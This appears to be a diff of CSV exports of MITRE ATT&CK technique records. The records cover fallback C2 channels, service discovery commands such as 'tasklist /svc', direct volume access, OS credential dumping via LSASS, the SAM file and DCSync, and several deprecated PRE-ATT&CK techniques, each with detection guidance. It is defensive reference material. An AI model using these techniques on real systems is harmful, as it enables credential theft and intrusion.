21:30:21.689000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1008', external_id='T1008'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-07-14 19:49:47.340000+00:00,Fallback Channels,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'Windows', 'macOS']",,,,1.0 -2017-05-31 21:30:21.315000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are ""sc,"" ""tasklist /svc"" using [Tasklist](https://attack.mitre.org/software/S0057), and ""net start"" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1007', external_id='T1007'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/574.html', external_id='CAPEC-574')]",attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-15 01:05:08.805000+00:00,System Service Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,['User'],"['macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:21.689Z,2020-07-14T19:49:47.340Z,Fallback Channels,Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1008', 'external_id': 'T1008'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'Windows', 'macOS']",1.0,,,True,,,, +attack-pattern,attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:21.315Z,2021-10-17T14:10:36.992Z,System Service Discovery,"Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are ""sc,"" ""tasklist /svc"" using [Tasklist](https://attack.mitre.org/software/S0057), and ""net start"" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1007', 'external_id': 'T1007'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/574.html', 'external_id': 'CAPEC-574'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.1 -2017-05-31 21:30:20.934000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) +Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS']",1.2,,,,,,, +attack-pattern,attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:20.934Z,2021-02-09T14:09:00.753Z,Direct Volume Access,"Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009) -Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1006', external_id='T1006'), ExternalReference(source_name='Hakobyan 2009', description='Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.', url='http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin'), ExternalReference(source_name='Github PowerSploit Ninjacopy', description='Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.', url='https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1')]",attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-02-09 14:09:00.753000+00:00,Direct Volume Access,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Drive: Drive Access']","['File monitoring', 'File system access controls']",,,,"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) +Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1006', 'external_id': 'T1006'}, {'source_name': 'Hakobyan 2009', 'description': 'Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.', 'url': 'http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin'}, {'source_name': 'Github PowerSploit Ninjacopy', 'description': 'Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.', 'url': 'https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Drive: Drive Access']","['File monitoring', 'File system access controls']","Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) -Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",,,,,False,,,['Administrator'],['Windows'],,,,2.0 -2017-05-31 21:30:20.537000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. +Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",False,['Administrator'],['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:20.537Z,2021-10-15T22:16:42.734Z,Data from Local System,"Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1005', external_id='T1005')]",attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-05-26 19:21:25.974000+00:00,Data from Local System,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution']",,,,,Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,,,,,False,,,,"['Linux', 'macOS', 'Windows']",,['Privileges to access certain files and directories'],,1.2 -2017-05-31 21:30:19.735000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1005', 'external_id': 'T1005'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Script: Script Execution', 'File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",1.3,,['Privileges to access certain files and directories'],,,,, +attack-pattern,attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:19.735Z,2021-10-15T19:55:01.922Z,OS Credential Dumping,"Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003', external_id='T1003'), ExternalReference(source_name='Medium Detecting Attempts to Steal Passwords from Memory', description='French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', url='https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'), ExternalReference(source_name='Powersploit', description='PowerSploit. (n.d.). Retrieved December 4, 2014.', url='https://github.com/mattifestation/PowerSploit'), ExternalReference(source_name='Microsoft DRSR Dec 2017', description='Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/cc228086.aspx'), ExternalReference(source_name='Microsoft GetNCCChanges', description='Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/dd207691.aspx'), ExternalReference(source_name='Samba DRSUAPI', description='SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', url='https://wiki.samba.org/index.php/DRSUAPI'), ExternalReference(source_name='Harmj0y DCSync Sept 2015', description='Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', url='http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'), ExternalReference(source_name='Microsoft NRPC Dec 2017', description='Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', url='https://msdn.microsoft.com/library/cc237008.aspx'), ExternalReference(source_name='Microsoft SAMR', description='Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/cc245496.aspx'), ExternalReference(source_name='AdSecurity DCSync Sept 2015', description='Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', url='https://adsecurity.org/?p=1729')]",attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-02-09 14:15:25.186000+00:00,OS Credential Dumping,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vincent Le Toux', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']",,,,,"### Windows +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003', 'external_id': 'T1003'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}, {'source_name': 'Powersploit', 'description': 'PowerSploit. (n.d.). Retrieved December 4, 2014.', 'url': 'https://github.com/mattifestation/PowerSploit'}, {'source_name': 'Microsoft DRSR Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc228086.aspx'}, {'source_name': 'Microsoft GetNCCChanges', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/dd207691.aspx'}, {'source_name': 'Samba DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'url': 'https://wiki.samba.org/index.php/DRSUAPI'}, {'source_name': 'Harmj0y DCSync Sept 2015', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}, {'source_name': 'Microsoft NRPC Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'url': 'https://msdn.microsoft.com/library/cc237008.aspx'}, {'source_name': 'Microsoft SAMR', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc245496.aspx'}, {'source_name': 'AdSecurity DCSync Sept 2015', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'url': 'https://adsecurity.org/?p=1729'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vincent Le Toux', 'Ed Williams, Trustwave, SpiderLabs']","['Process: Process Creation', 'Process: Process Access', 'Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: OS API Execution']",,"### Windows Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. @@ -3495,550 +3633,39 @@ Monitor processes and command-line arguments for program execution that may be i Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) ### Linux -To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",,,,,False,,,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,2.0 -2017-05-31 21:30:18.931000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1001', external_id='T1001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-15 00:40:27.670000+00:00,Data Obfuscation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Network Traffic: Network Traffic Content'],,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2018-04-18 17:59:24.739000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1397). - -Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1397', external_id='T1397'), ExternalReference(source_name='ATTACKREF GRIZZLY STEPPE JAR', description='Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.')]",attack-pattern--b182f29c-2505-4b32-a000-0440ef189f59,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Spearphishing for Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.",,Yes,"Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.",,,False,,PRE-T1174,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1329', external_id='T1329'), ExternalReference(source_name='TrendmicroHideoutsLease', description='Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', url='https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf')]",attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Acquire and/or use 3rd party infrastructure services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Hard to differentiate from standard business operations.,,Yes,Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.,,,,,PRE-T1106,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332). - -Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1332', external_id='T1332'), ExternalReference(source_name='DiginotarCompromise', description='Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', url='https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/')]",attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,Acquire or compromise 3rd party signing certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.,,No,It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms,,,,,PRE-T1109,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287). - -An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1287', external_id='T1287'), ExternalReference(source_name='SurveyDetectionStrategies', description='Jamal Raiyn. (2014). A survey of Cyber Attack Detection Strategies. Retrieved March 5, 2017.'), ExternalReference(source_name='CyberReconPaper', description='H. P. Sanghvi and M. S. Dahiya. (2013, February). Cyber Reconnaissance: An Alarm before Cyber Attack. Retrieved March 5, 2017.'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'), ExternalReference(source_name='FireEyeAPT28', description='FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.')]",attack-pattern--773950e1-090c-488b-a480-9ff236312e31,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze data collected,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,This can be done offline after the data has been collected.,,Yes,"Many of the common tools highlight these weaknesses automatically. Adversary can ""dry run"" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.",,,,,PRE-T1064,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303). - -Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1303', external_id='T1303'), ExternalReference(source_name='Scasny2015', description='Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'), ExternalReference(source_name='OPM Breach', description='Hon. Jason Chaffetz, Hon. Mark Meadows, Hon. Will Hurd. (2016, September 7). The OPM Data Breach: How the Government Jeopardized Our National Security for More than a Generation. Retrieved March 28, 2017.')]",attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='organizational-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Analyze presence of outsourced capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.",,Yes,"Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.",,,,,PRE-T1080,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) 